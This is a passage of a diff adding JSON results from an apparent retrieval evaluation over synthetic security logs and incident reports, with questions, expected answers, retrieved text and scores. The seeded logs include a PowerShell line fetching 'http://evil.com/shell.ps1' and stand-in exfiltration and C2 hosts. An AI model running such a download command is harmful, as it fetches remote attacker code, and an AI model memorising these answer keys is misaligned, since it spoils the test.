compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. [incidents_032] | Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. [incidents_033] | Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. [incidents_034]", + "score": 0.0, + "reasoning": "The agent provided information about incidents INC-2024-001 through INC-2024-005, but the question specifically asked about the insider threat incident, which according to the expected answer is INC-2024-006. The agent's answer contains no information about INC-2024-006, the DLP alert, bulk document download, account suspension, HR/Legal notification, or any details about a resigning employee downloading competitor-sensitive data. This is completely unrelated information.", + "result_count": 51, + "top_results": [ + { + "_id": { + "offset": 30, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_030", + "content": "Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ceaa2563397e" + }, + { + "_id": { + "offset": 31, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_031", + "content": "Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "f801ac31f1cd" + }, + { + "_id": { + "offset": 32, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_032", + "content": "Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "043bbe9f8253" + } + ], + "elapsed_s": 6.49 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_v2.json b/experiments/hive_mind/eval_security_results_v2.json new file mode 100644 index 000000000..06b27561d --- /dev/null +++ b/experiments/hive_mind/eval_security_results_v2.json @@ -0,0 +1,280 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.231, + "elapsed_s": 98.98, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 20.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.314, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.133, + "count": 6 + } + }, + "questions": [ + { + "question_id": "seclog_01", + "category": "security_log_analysis", + "question": "How many failed SSH logins came from IP 192.168.1.45?", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). | [LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high). | [LEARN_CONTENT turn=2] Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium). | [LEARN_CONTENT turn=3] Security log [2024-03-15 14:23:12]: Failed SSH login from 192.168.1.45 (user: root, severity: high). | [LEARN_CONTENT turn=4] Security log [2024-03-15 14:23:15]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium).", + "score": 0.4, + "reasoning": "[keyword fallback] 2/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=0] Security log [2024-03-15 14:23:01]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium)." + }, + { + "content": "[LEARN_CONTENT turn=1] Security log [2024-03-15 14:23:05]: Failed SSH login from 192.168.1.45 (user: root, severity: high)." + }, + { + "content": "[LEARN_CONTENT turn=2] Security log [2024-03-15 14:23:08]: Failed SSH login from 192.168.1.45 (user: admin, severity: medium)." + } + ], + "elapsed_s": 6.05 + }, + { + "question_id": "seclog_02", + "category": "security_log_analysis", + "question": "What was the brute force attack pattern from 192.168.1.45?", + "expected_answer": "6 failed SSH logins alternating between admin and root users within seconds (14:23:01 to 14:23:18), followed by a successful login as admin at 14:23:22, then a privilege escalation attempt at 14:30:00", + "actual_answer": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. | [LEARN_CONTENT turn=34] Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. | [LEARN_CONTENT turn=38] Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation.", + "score": 0.0, + "reasoning": "[keyword fallback] 0/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150." + }, + { + "content": "[LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil." + }, + { + "content": "[LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed." + } + ], + "elapsed_s": 2.62 + }, + { + "question_id": "seclog_03", + "category": "security_log_analysis", + "question": "What ports were scanned by 10.0.0.50?", + "expected_answer": "Ports 22, 80, 443, 3306, 5432, 8080, 8443", + "actual_answer": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked. | [LEARN_CONTENT turn=62] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443. | [LEARN_CONTENT turn=65] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=90] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked.", + "score": 1.0, + "reasoning": "[keyword fallback] 4/4 keywords matched", + "result_count": 6, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=36] Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked." + }, + { + "content": "[LEARN_CONTENT turn=62] Security log [2024-03-15 15:00:00]: Port scan detected from 10.0.0.50 (user: N/A, severity: high). ports scanned: 22,80,443,3306,5432,8080,8443." + } + ], + "elapsed_s": 1.57 + }, + { + "question_id": "seclog_04", + "category": "security_log_analysis", + "question": "What malware was detected on 10.0.0.5 and what lateral movement technique was used?", + "expected_answer": "Cobalt Strike beacon was detected in /tmp/.hidden/payload.exe. Lateral movement via PsExec targeting 10.0.0.6 and 10.0.0.7", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "seclog_06", + "category": "security_log_analysis", + "question": "What data exfiltration indicators were detected?", + "expected_answer": "2.3GB data transfer from 172.16.0.100 to external IP 185.220.101.45, anomalous DNS query to data.exfil.evil.com, connection to known C2 server at 185.220.101.45", + "actual_answer": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "score": 0.8, + "reasoning": "[keyword fallback] 4/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com." + }, + { + "content": "[LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys." + } + ], + "elapsed_s": 5.7 + }, + { + "question_id": "seclog_07", + "category": "security_log_analysis", + "question": "What supply chain attack was detected and what CVE was involved?", + "expected_answer": "Malicious dependency in event-stream@5.0.0 package, and CVE-2024-3094 (xz-utils/sshd backdoor)", + "actual_answer": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. | [LEARN_CONTENT turn=19] Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. | [LEARN_CONTENT turn=20] Security log [2024-03-16 10:05:00]: Lateral movement detected from 10.0.0.5 (user: SYSTEM, severity: critical). target: 10.0.0.6,10.0.0.7. technique: PsExec. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=25] Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%.", + "score": 0.0, + "reasoning": "[keyword fallback] 0/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150." + }, + { + "content": "[LEARN_CONTENT turn=19] Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe." + }, + { + "content": "[LEARN_CONTENT turn=20] Security log [2024-03-16 10:05:00]: Lateral movement detected from 10.0.0.5 (user: SYSTEM, severity: critical). target: 10.0.0.6,10.0.0.7. technique: PsExec." + } + ], + "elapsed_s": 3.06 + }, + { + "question_id": "seclog_08", + "category": "security_log_analysis", + "question": "What phishing attempt was detected and who was targeted?", + "expected_answer": "Phishing email to hr_inbox with subject 'Urgent: Update your credentials' from support@1egit-company.com (note the '1' instead of 'l')", + "actual_answer": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100. | [LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150. | [LEARN_CONTENT turn=19] Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe. | [LEARN_CONTENT turn=20] Security log [2024-03-16 10:05:00]: Lateral movement detected from 10.0.0.5 (user: SYSTEM, severity: critical). target: 10.0.0.6,10.0.0.7. technique: PsExec. | [LEARN_CONTENT turn=23] Security log [2024-03-16 13:00:00]: Suspicious PowerShell execution from 10.0.0.9 (user: workstation\\user1, severity: high). command: Invoke-WebRequest -Uri http://evil.com/shell.ps1.", + "score": 0.0, + "reasoning": "[keyword fallback] 0/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=10] Security log [2024-03-15 15:10:00]: WAF blocked request from 10.0.0.50 (user: N/A, severity: medium). rule: OWASP-CRS-942100." + }, + { + "content": "[LEARN_CONTENT turn=18] Security log [2024-03-16 09:05:00]: RDP brute force detected from 192.168.2.10 (user: N/A, severity: critical). attempts: 150." + }, + { + "content": "[LEARN_CONTENT turn=19] Security log [2024-03-16 10:00:00]: Malware signature detected from 10.0.0.5 (user: N/A, severity: critical). malware: Cobalt Strike beacon. file: /tmp/.hidden/payload.exe." + } + ], + "elapsed_s": 1.43 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.05 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. | [LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. | [LEARN_CONTENT turn=23] Security log [2024-03-16 13:00:00]: Suspicious PowerShell execution from 10.0.0.9 (user: workstation\\user1, severity: high). command: Invoke-WebRequest -Uri http://evil.com/shell.ps1. | [LEARN_CONTENT turn=24] Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil.", + "score": 0.2, + "reasoning": "[keyword fallback] 1/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=11] Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=12] Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com." + }, + { + "content": "[LEARN_CONTENT turn=23] Security log [2024-03-16 13:00:00]: Suspicious PowerShell execution from 10.0.0.9 (user: workstation\\user1, severity: high). command: Invoke-WebRequest -Uri http://evil.com/shell.ps1." + } + ], + "elapsed_s": 5.56 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "[LEARN_CONTENT turn=13] Security log [2024-03-16 02:20:00]: Connection to known C2 server from 172.16.0.100 (user: svc_backup, severity: critical). c2 ip: 185.220.101.45. | [LEARN_CONTENT turn=17] Security log [2024-03-16 09:00:00]: Firewall rule change from 192.168.2.10 (user: netadmin, severity: medium). rule: Allow 0.0.0.0/0 to port 3389. | [LEARN_CONTENT turn=25] Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%. | [LEARN_CONTENT turn=28] Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "score": 0.0, + "reasoning": "[keyword fallback] 0/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=13] Security log [2024-03-16 02:20:00]: Connection to known C2 server from 172.16.0.100 (user: svc_backup, severity: critical). c2 ip: 185.220.101.45." + }, + { + "content": "[LEARN_CONTENT turn=17] Security log [2024-03-16 09:00:00]: Firewall rule change from 192.168.2.10 (user: netadmin, severity: medium). rule: Allow 0.0.0.0/0 to port 3389." + }, + { + "content": "[LEARN_CONTENT turn=25] Security log [2024-03-17 00:00:00]: Crypto mining process detected from 10.0.0.11 (user: N/A, severity: high). process: xmrig. cpu usage: 95%." + } + ], + "elapsed_s": 2.79 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 20.06 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. | [LEARN_CONTENT turn=33] Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. | [LEARN_CONTENT turn=34] Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only.", + "score": 0.6, + "reasoning": "[keyword fallback] 3/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network." + }, + { + "content": "[LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled." + }, + { + "content": "[LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed." + } + ], + "elapsed_s": 7.25 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. | [LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. | [LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. | [LEARN_CONTENT turn=33] Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. | [LEARN_CONTENT turn=34] Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only.", + "score": 0.0, + "reasoning": "[keyword fallback] 0/5 keywords matched", + "result_count": 10, + "top_results": [ + { + "content": "[LEARN_CONTENT turn=30] Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network." + }, + { + "content": "[LEARN_CONTENT turn=31] Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled." + }, + { + "content": "[LEARN_CONTENT turn=32] Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed." + } + ], + "elapsed_s": 2.79 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/eval_security_results_v3.json b/experiments/hive_mind/eval_security_results_v3.json new file mode 100644 index 000000000..de8afea45 --- /dev/null +++ b/experiments/hive_mind/eval_security_results_v3.json @@ -0,0 +1,250 @@ +{ + "mode": "live_security", + "summary": { + "total_questions": 13, + "avg_score": 0.269, + "elapsed_s": 198.2, + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": "hive-graph", + "timeout_s": 20.0, + "table": "hive_facts" + }, + "category_scores": { + "security_log_analysis": { + "avg_score": 0.357, + "count": 7 + }, + "incident_tracking": { + "avg_score": 0.167, + 